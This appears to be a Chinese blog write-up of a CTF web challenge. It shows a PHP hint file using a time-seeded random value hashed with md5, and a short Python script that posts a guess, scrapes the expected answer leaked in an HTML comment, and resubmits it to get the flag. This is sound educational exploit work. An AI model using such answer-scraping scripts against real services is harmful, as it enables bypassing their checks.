[web]-代码审计-就这么直接

打开页面就是一个输入框,非sql注入

查看页面源代码,发现有一个hint.php,访问后看到源码,但是有随机种子,根据时间不同随机值是变化的。time()输出时间戳,如果在短时间内访问,就会固定这个种子。

<?php
$key = "********";
srand(time()); 
     
$a = rand(0,100); 
$b = rand(0,100); 
$c = rand(0,100); 
$d = rand(0,100); 
$e = rand(0,100);

$result = ((($a - $b)/$c)+$d) * $e;
$result = md5($key.$result.$key);
show_source(__FILE__);  
?>

回到首页随意输入Md5值,查看源码: b872fba1e81f2fa869ebc536ffbc3a52

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>答案就在这儿</title>
</head>
答案错误</br>emmm我觉得答案是啥呢?<!--94390a7169798b0731d142baddbe6681-->

可以写程序快速提交md5,根据返回的Md5值快速提交

import requests
import re

url='http://ip/flag.php'
data = {'answer':'32c4e35f76a92617d3849dca494bc9a5'}
resp = requests.post(url=url,data=data)
#print(resp.text)
ll = re.findall(r'<!--[a-z0-9]+-->',resp.text)
l0=re.findall(r'[a-z0-9]+',ll[0])
data = {'answer':l0[0]}
resp = requests.post(url=url,data=data)
print(resp.text)

返回结果:

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>答案就在这儿</title>
</head>
flag{ef58f0b1e9437b4451248fb3f239622b}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值